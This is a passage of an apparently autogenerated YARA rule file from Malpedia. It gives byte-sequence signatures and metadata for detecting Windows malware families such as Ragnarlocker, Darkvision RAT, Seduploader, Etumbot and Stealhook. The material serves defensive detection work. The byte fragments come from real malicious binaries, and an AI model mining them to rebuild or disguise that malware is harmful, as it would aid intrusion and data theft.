		$sequence_7 = { 010c37 ff45d0 ebcb 01fa ebb4 8b7dd0 }
		$sequence_8 = { e8???????? 895c2408 c744240400000000 890424 e8???????? 83ec0c }
		$sequence_9 = { 83ec10 85c0 8945d4 7542 8b45d0 c744240c04000000 c744240800300000 }
	condition:
		7 of them and filesize < 180224
}

rule MALPEDIA_Win_Mayberobot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c92428ca-450d-55ec-a6b0-19554a59efc9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mayberobot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mayberobot_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "7a87fd7bc03b1a4ed615fd0a81f85d5bd0e66326980b2da4e2257c81318fa9fe"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4883ec28 803d????????00 754c 488d0da8270100 }
		$sequence_1 = { 45390a 7449 496312 4803d5 0fb60a 83e10f 4a0fbe843110440100 }
		$sequence_2 = { 4885c0 7509 488d05233a0100 eb04 }
		$sequence_3 = { 90 8bdf 8b05???????? 48895c2420 3bf0 7c36 4c8d3da9080100 }
		$sequence_4 = { 4c8d058afb0000 488b4318 4839b838010000 750f 498b04d0 42387ce839 0f84d3000000 }
		$sequence_5 = { 488d0d8a0b0100 e8???????? 4883c428 c3 }
		$sequence_6 = { e8???????? 85c0 7420 4c8b442430 }
		$sequence_7 = { 488d151fc50000 b903000000 4c8d050bc50000 e8???????? 488bd3 }
		$sequence_8 = { 4183f90f 7779 428b8c8e78f80000 4803ce ffe1 660f73fa01 eb65 }
		$sequence_9 = { 488bd1 488bc1 48c1f806 4c8d05b4060100 }
	condition:
		7 of them and filesize < 307200
}

rule MALPEDIA_Win_Ragnarlocker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "115610a4-debf-5e53-866c-588d0e4a674d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarlocker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ragnarlocker_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "6d88f5a9935c94f31e5ef388da569a4f1a15523f9d92a2b5d9dd3611cf9ee236"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b7da4 0facd106 33fe c1ea06 33d9 8b4da8 33fa }
		$sequence_1 = { c1e017 0bd8 8b45cc 0bf9 8b4dd4 33d2 }
		$sequence_2 = { 33d0 03de 8b4dfc 8b75f8 8bc6 13fa c745bc00000000 }
		$sequence_3 = { 8bf1 0facd113 c1e60d c1ea13 0bf2 895da8 8b957cffffff }
		$sequence_4 = { 33db 0bd9 8975a4 8b8d50ffffff 8bfa 0fa4ca03 c1ef1d }
		$sequence_5 = { 56 8b75f8 56 6a03 6a3b 57 ff15???????? }
		$sequence_6 = { 8945e0 8b4594 8945e4 8b4590 8945e8 8b458c 8945c0 }
		$sequence_7 = { 99 0bf2 c1e308 0bd8 0fb64143 0fa4de08 }
		$sequence_8 = { 0bd8 0fb6410f 0fa4de08 8b4d98 99 0bf2 c1e308 }
		$sequence_9 = { c1ea0e 3175fc 0bfa 8b75dc 33df 8b7de0 f7d6 }
	condition:
		7 of them and filesize < 147456
}

rule MALPEDIA_Win_Findpos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ce612255-6624-50a9-a03c-c60c58099af8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.findpos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.findpos_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "5ddd8150bb7549b194e3af334d2fd54523af2954906df2786ddd0dce1684bb61"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0fb6c0 50 0fb6c1 50 8d85e8e7ffff 50 }
		$sequence_1 = { 42 8a1a 0fb63411 0fb6c3 83ce20 83c820 2bf0 }
		$sequence_2 = { 3375f0 337df4 8b4008 8985dcfeffff }
		$sequence_3 = { 8d4dd8 895dfc e8???????? 837dec10 8d55d8 0f4355d8 33c9 }
		$sequence_4 = { 83791410 7202 8b09 33d2 e8???????? 85c0 7419 }
		$sequence_5 = { 0f84d6000000 48 0f8497000000 83e804 7468 83e803 }
		$sequence_6 = { bf3ce91fe0 0adb e3de a863 125f55 cae845 7d31 }
		$sequence_7 = { e8???????? 6a00 6a01 8d8c2408010000 e9???????? 83fb27 0f871b010000 }
		$sequence_8 = { 57 8b7d08 3b30 7554 394510 }
		$sequence_9 = { ff15???????? 8bc8 890d???????? 85c9 743b 8b45f8 a3???????? }
	condition:
		7 of them and filesize < 286720
}

rule MALPEDIA_Win_Nemim_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2fcca9e2-b8f3-5d83-84fc-b2e40aa4f4f9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nemim"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nemim_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "24d9011f0ff0bebf263a930abe315373fb7838840fe9989752df0056ff714df5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c002 53 55 56 57 8d742410 bf10000000 }
		$sequence_1 = { 52 6801000080 ff15???????? 8d442418 8d4c2454 50 8b442418 }
		$sequence_2 = { 56 ff15???????? 8b442410 3d97010000 0f84ae000000 6800040000 }
		$sequence_3 = { 888424e7000000 e8???????? 83c404 8d9424b4000000 68???????? 6819000200 6a00 }
		$sequence_4 = { 8bd1 8dbc2450020000 c1e902 f3ab 8bca }
		$sequence_5 = { 52 e8???????? 8d442458 50 e8???????? 8b15???????? 8d4c245c }
		$sequence_6 = { 8b6c2440 8dbc3839d0d4d9 8bc7 c1e81c c1e704 0bc7 8bfe }
		$sequence_7 = { 8bf0 750b c1e602 8b8628274300 eb09 c1e602 }
		$sequence_8 = { 83fe10 7cde c605????????00 b90b000000 be???????? 8dbc2410010000 }
		$sequence_9 = { 68e8030000 e8???????? 83c404 85f6 }
	condition:
		7 of them and filesize < 499712
}

rule MALPEDIA_Win_Darkmoon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "39d28dd7-0564-597d-bdac-de621314fd7d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmoon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkmoon_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "b873ed88e28a76ea623543146de01af6abe20197674c7ea051692aae659c4969"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 898580f0ffff ff750c 680f0d0000 ffb580f0ffff 56 ff96d1000000 e8???????? }
		$sequence_1 = { ff75f0 ff5675 83f800 766d 6a00 8d4df8 }
		$sequence_2 = { 8d4f0c c645fc05 e8???????? 8d4f10 c645fc06 e8???????? }
		$sequence_3 = { 68ff0f1f00 ff9695000000 83f800 74ac }
		$sequence_4 = { 8d8656040000 50 6801000080 ff5635 8d8665010000 50 }
		$sequence_5 = { 3b86b0080000 747c 8986b0080000 6804010000 8d85fcfdffff }
		$sequence_6 = { 6a01 6a00 e8???????? 53 4f 46 }
		$sequence_7 = { ff5621 8945f4 6a00 8d4df8 }
		$sequence_8 = { ffb6e1000000 ff96dd000000 8945f4 6a00 ff75f8 ffb6ed000000 6a00 }
		$sequence_9 = { 03d0 8b442410 03c2 89442410 8bc6 99 f7f9 }
	condition:
		7 of them and filesize < 98304
}

rule MALPEDIA_Win_Etumbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c874e7f9-5803-51aa-bcc8-4faaaf0ce1ce"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.etumbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.etumbot_auto.yar#L1-L358"
		license_url = "N/A"
		logic_hash = "bab72b55d5937eff166f630a71bea6d6d650e72f44dc18db352baddef63ef002"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8a00 02c2 0fb6c0 8a8405fcfeffff }
		$sequence_1 = { 0fb6c0 8a8405fcfeffff 320437 8806 46 }
		$sequence_2 = { c745b063726f73 c745b46f66745c c745b85c57696e c745bc646f7773 c745c05c5c4375 c745c47272656e }
		$sequence_3 = { f7d1 23c1 42 4e 75df }
		$sequence_4 = { 8d45f4 6820a10700 50 68???????? 68???????? }
		$sequence_5 = { c745cc73696f6e c745d05c5c496e c745d47465726e c745d865742053 }
		$sequence_6 = { 03c1 8bc8 81e1000000f0 7407 8bf9 }
		$sequence_7 = { 7407 8bf9 c1ef18 33c7 f7d1 23c1 }
		$sequence_8 = { c745d47465726e c745d865742053 c745dc65747469 c745e06e677300 }
		$sequence_9 = { 53 56 57 8b3d???????? ffd7 8b7508 8bd8 }
		$sequence_10 = { 57 0fbe38 33f6 33db }
		$sequence_11 = { c745c47272656e c745c874566572 c745cc73696f6e c745d05c5c496e }
		$sequence_12 = { ffd7 2bc3 3bc6 72ed 5f 5e }
		$sequence_13 = { 8b45f4 0345f0 8b4d08 034dec 8a11 8810 }
		$sequence_14 = { c645bf69 c645c062 c645c16c c645c265 c645c33b c645c420 c645c54d }
		$sequence_15 = { 8b4d08 83c101 894d08 8b550c 83ea03 }
		$sequence_16 = { 83c204 3b5514 7608 83c8ff }
		$sequence_17 = { 80e10f c0e102 c0eb06 02cb }
		$sequence_18 = { c644242c45 8854242f 884c2431 c644243273 88542434 }
		$sequence_19 = { 83c404 8bd1 c1e902 f3ab 8bca }
		$sequence_20 = { 6a00 68???????? 6a00 6a00 6a00 51 68???????? }
		$sequence_21 = { e8???????? 8d45fc 50 8d85bcfeffff 50 e8???????? }
		$sequence_22 = { 8b0c8d20cf4000 8a44c104 83e040 c3 56 8b742408 85f6 }
		$sequence_23 = { b9ff000000 33c0 8dbda6fbffff f3ab }
		$sequence_24 = { c645d673 c645d720 c645d84e c645d954 }
		$sequence_25 = { 83c104 3b4d14 7608 83c8ff }
		$sequence_26 = { 50 8d85c4eaffff 50 e8???????? 8d85ecfdffff }
		$sequence_27 = { 59 50 8d8504ffffff e9???????? 6a18 }
		$sequence_28 = { c645c33b c645c420 c645c54d c645c653 c645c749 c645c845 c645c920 }
		$sequence_29 = { 8b4508 8365f800 898184110000 8d45f4 6a00 }
		$sequence_30 = { 83c404 85c0 7429 8b442454 0fbe38 40 85ff }
		$sequence_31 = { 89442428 f3ab 88542414 89542444 }
		$sequence_32 = { c645d057 c645d169 c645d26e c645d364 }
		$sequence_33 = { c645cd31 c645ce3b c645cf20 c645d057 c645d169 }
		$sequence_34 = { 52 e8???????? 83c404 e9???????? 6a05 }
		$sequence_35 = { c645fa74 c645fb2e c645fc64 c645fd6c }
		$sequence_36 = { c645f569 c645f66e c645f769 c645f86e }
		$sequence_37 = { 8b4df4 034df0 8b5508 0355ec }
		$sequence_38 = { 50 8b4dbc 51 8b952ce6ffff 8b4210 ffd0 85c0 }
		$sequence_39 = { c685dcefffff45 c685ddefffff20 c685deefffff35 c685dfefffff2e c685e0efffff30 }
	condition:
		7 of them and filesize < 450560
}

rule MALPEDIA_Win_Lightwork_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d343952d-c497-57b0-a1b6-2c344677756b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightwork"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lightwork_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "ab480be92b4f3e94b9e8b99934bd7d24840465004bb1c1ae3a81e26cd770a803"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d5001 8b4508 8990c8010000 8b4508 890424 e8???????? 8b4508 }
		$sequence_1 = { 83e0e0 89c2 8b450c 83e01f 09d0 }
		$sequence_2 = { c3 55 89e5 8b4508 83c011 5d c3 }
		$sequence_3 = { e8???????? 69d0e8030000 8b450c 01d0 8945f4 8b45f4 89c2 }
		$sequence_4 = { 8b80d8010000 8b5510 89542408 8b550c 89542404 890424 e8???????? }
		$sequence_5 = { 7419 8b45f0 8b55f4 89442404 89542408 8b4508 890424 }
		$sequence_6 = { 55 89e5 8b4508 0fb64005 83e0f0 89c2 8b450c }
		$sequence_7 = { 89e5 8b4508 c74008???????? 8b4508 c740047d000000 90 5d }
		$sequence_8 = { 890424 e8???????? 8b450c 8b4014 014518 8b5518 8b4510 }
		$sequence_9 = { 66894819 0fb65206 88501b 8b4508 c9 c3 55 }
	condition:
		7 of them and filesize < 1132544
}

rule MALPEDIA_Win_Puzzlemaker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "62794821-c42e-5220-ad0d-6e7823ce4882"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.puzzlemaker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.puzzlemaker_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "e75d1e0c1e55c34f83f0daa3660ed41869121e99648bc4cb3b1da2986e8ecbae"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c74078feffffff 83ffff 0f8c60040000 41837e0800 4c8d05b7b6ffff }
		$sequence_1 = { 4883ec20 8bfa 4c8d0d25a00000 488bd9 488d151ba00000 b916000000 4c8d0507a00000 }
		$sequence_2 = { 448bc0 4c8d157d0a0200 0f1f4000 660f1f840000000000 410fb6d0 420fb60c12 }
		$sequence_3 = { 488905???????? 4885c0 7551 488b0d???????? 488d157c160200 }
		$sequence_4 = { 4c8d0d3da30000 33c9 4c8d0530a30000 488d1531a30000 e8???????? 4885c0 }
		$sequence_5 = { ff15???????? 4c8be0 4c896ddf 488b4dc7 488b11 4c8b5230 }
		$sequence_6 = { e8???????? 488db328010000 bd06000000 488d7b38 488d05462d0100 }
		$sequence_7 = { 84c0 7421 4885db 750b 488d1d83f20000 48895f48 4863d6 }
		$sequence_8 = { 7410 41ffc0 4983c102 4181f880000000 72e1 448bc0 }
		$sequence_9 = { 418bd2 4d8b8cc7f02b0200 498bfa 4b8d04f1 443854383e }
	condition:
		7 of them and filesize < 331776
}

rule MALPEDIA_Win_Seduploader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8fb6991a-2035-5d98-8418-a7713bf4dcf3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.seduploader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.seduploader_auto.yar#L1-L113"
		license_url = "N/A"
		logic_hash = "322f530e99af9eadb7926bd0383665644ca1fdc1bbd87072e1c813cec7a54a88"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff763c e8???????? 83c40c 3b4508 }
		$sequence_1 = { 50 e8???????? 8b4510 83c6fe 8930 8d4601 50 }
		$sequence_2 = { 8b4510 83c6fe 8930 8d4601 50 e8???????? }
		$sequence_3 = { 83c6fe 8930 8d4601 50 e8???????? }
		$sequence_4 = { 8b4510 83c6fe 8930 8d4601 }
		$sequence_5 = { e8???????? 8b4510 83c6fe 8930 8d4601 }
		$sequence_6 = { 56 6a3e 8bf1 e8???????? }
		$sequence_7 = { 8b4510 83c6fe 8930 8d4601 50 }
		$sequence_8 = { 50 e8???????? 8b4510 83c6fe 8930 }
		$sequence_9 = { 83c6fe 8930 8d4601 50 }
	condition:
		7 of them and filesize < 401408
}

rule MALPEDIA_Win_Stealhook_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b998f829-6a22-55c4-913b-e54119474a49"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealhook"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stealhook_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "50f44fb127afc2237096592b9ec06ad6fce68e47e81e08acb0de7cd16e206d85"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 410fb6868e000000 41884705 410fb6868f000000 41884704 410fb68690000000 4188470b 418b8690000000 }
		$sequence_1 = { e8???????? 48833b00 488d0dd7170500 480f450b }
		$sequence_2 = { 4a0fbe8419389a0600 428a8c19489a0600 4c2bd0 418b4048 418b52fc d3ea 03c2 }
		$sequence_3 = { 83e10f 480fbe8411389a0600 8a8c11489a0600 4c2bc0 418b40fc d3e8 4d894708 }
		$sequence_4 = { 4d8bf8 4c896910 4c8bc6 4c896918 488bee e8???????? 458be5 }
		$sequence_5 = { 33d2 4903c1 49f7f1 49837e1807 488d0451 498bce 7603 }
		$sequence_6 = { 488b4590 48634804 4c896c0d90 488b4590 }
		$sequence_7 = { e8???????? 90 488d542450 48837c24680f 480f47542450 41b8e8030000 488d4c2470 }
		$sequence_8 = { 66480f6ec8 660f2f25???????? 0f82df000000 48c1e82c 660feb15???????? 660feb0d???????? 4c8d0dd4fd0000 }
		$sequence_9 = { 4c8b5577 488d05d9350300 0f1000 4c8bd9 488d4c2430 }
	condition:
		7 of them and filesize < 1129472
}

rule MALPEDIA_Win_Feed_Load_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "12c918c0-c452-5da2-b8ac-4e16f1c3b07c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.feed_load"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.feed_load_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "722b483a312044af2fe5076c6a59554ad3a69ee6c355530da497915e66c263d4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 44393d???????? 742c 4c897c2428 4c8d0578faffff 4533c9 44897c2420 33d2 }
		$sequence_1 = { 48ffc0 4983ef01 75ef 498d5508 488bcd 4c8d4c2458 }
		$sequence_2 = { 448bc7 488bd0 488bce 4c8bf0 e8???????? 3bc5 7411 }
		$sequence_3 = { 482bca 4883c302 4183e60f 4983fe0f 0f85bd000000 }
		$sequence_4 = { e8???????? 8b442450 8905???????? eb17 4c8d442454 e8???????? }
		$sequence_5 = { 488d15a6550200 448bcf 448bc6 ff15???????? 4423e0 0f84ef010000 488b4b18 }
		$sequence_6 = { 4889742420 4489442418 55 57 4154 4156 4157 }
		$sequence_7 = { 8bc2 c1e81f 03d0 8d4310 03c2 48638c24b0000000 3bc8 }
		$sequence_8 = { e9???????? 488bc3 4c8d3d873affff 498784f798600300 4885c0 7409 }
		$sequence_9 = { 410fb608 83e10f 4a0fbe841100050200 428a8c1110050200 }
	condition:
		7 of them and filesize < 512000
}

rule MALPEDIA_Win_Xiaoba_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "15cc05c8-af5c-56f2-a0b2-68d5a40a2950"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xiaoba"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xiaoba_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "95db22137ae310cb1c06897611cc39a7bd77badcb0dab70f72ac629d2a8f20ac"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7407 a9???????? 7557 8b8644010000 33c9 668b8e48010000 85c9 }
		$sequence_1 = { d9c0 dc642428 dd5c2440 dd442410 dc642420 dd442440 d9c1 }
		$sequence_2 = { db45fc dd5dd4 dc65d4 dd5dcc db45f8 dd5dc4 }
		$sequence_3 = { dc442410 dd5c2410 e9???????? db8740010000 dc6c2418 dd5c2418 e9???????? }
		$sequence_4 = { dd442404 dc0d???????? c3 83c0fe 83f803 0f87cd000000 ff2485bcd24500 }
		$sequence_5 = { 7414 3d00020000 741a 8d542464 52 ff15???????? ebb2 }
		$sequence_6 = { ff45f8 f682c1ed660004 894d08 7457 803900 7504 33ff }
		$sequence_7 = { 53 e8???????? 83c404 8b45ec e9???????? 8be5 5d }
		$sequence_8 = { 64890d00000000 83c478 c20c00 8b8c2490000000 8b4658 5f 5e }
		$sequence_9 = { ffd3 c786c400000000000000 57 ff15???????? 8b4c2440 5f 5e }
	condition:
		7 of them and filesize < 5177344
}

rule MALPEDIA_Win_Darkvision_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1a6f6701-70b7-5c48-928b-485642438bd0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvision_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkvision_rat_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "ea735f4eeed059962dba8005baff4c34c6d0e6dbba61d43d1f0324dec9b20b8d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb0a 8b44243c ffc0 8944243c 837c243c64 }
		$sequence_1 = { 85c0 7523 488d15da6b0300 488b8c2460030000 ff15???????? 488b8c2460030000 ff15???????? }
		$sequence_2 = { ff15???????? 488b8c2468030000 ff15???????? 41b838000000 33d2 488d8c2428030000 e8???????? }
		$sequence_3 = { 488d0d9efe0100 48837c010800 7432 4863442424 4869c0040b0000 488d0d83fe0100 66ba6600 }
		$sequence_4 = { 741d 488b4c2438 ff15???????? 488b4c2430 ff15???????? 33c0 }
		$sequence_5 = { 4c8d0505910100 baff7f0000 488b4c2440 ff15???????? 4c8d0deaf40200 4c8d05ff900100 baff7f0000 }
		$sequence_6 = { baffffffff 488b4c0110 ff15???????? 4863442424 486bc028 488d0d71550200 48837c010800 }
		$sequence_7 = { ff15???????? 4885c0 0f847a010000 488bc8 ff15???????? 488d15e0620000 488bce }
		$sequence_8 = { 488b4c2430 4803c8 488bc1 4889442470 c744247c00000000 eb0a }
		$sequence_9 = { ba7c040000 b940000000 ff15???????? 4889442428 48837c242800 0f8477020000 4c8b442428 }
	condition:
		7 of them and filesize < 618496
}

rule MALPEDIA_Win_Stresspaint_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "60972f0d-5b32-562d-b7a1-4042f30f34cb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stresspaint"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stresspaint_auto.yar#L1-L150"
		license_url = "N/A"
		logic_hash = "d56631be02335c29e6f4a5ef8e07a5da331d1e0c248639e3a06714253e875bf3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d542478 51 52 e8???????? 8b44244c }
		$sequence_1 = { 8d542478 c6042b00 3bda 7505 }
		$sequence_2 = { 0103 014510 294514 83665800 }
		$sequence_3 = { 0106 83560400 837d1c00 7494 }
		$sequence_4 = { 0103 014510 294674 8b4674 }
		$sequence_5 = { 8d542901 52 6a1e 56 }
		$sequence_6 = { 0107 115f04 3bcb 7508 }
		$sequence_7 = { 8d542478 52 57 e8???????? 83c408 }
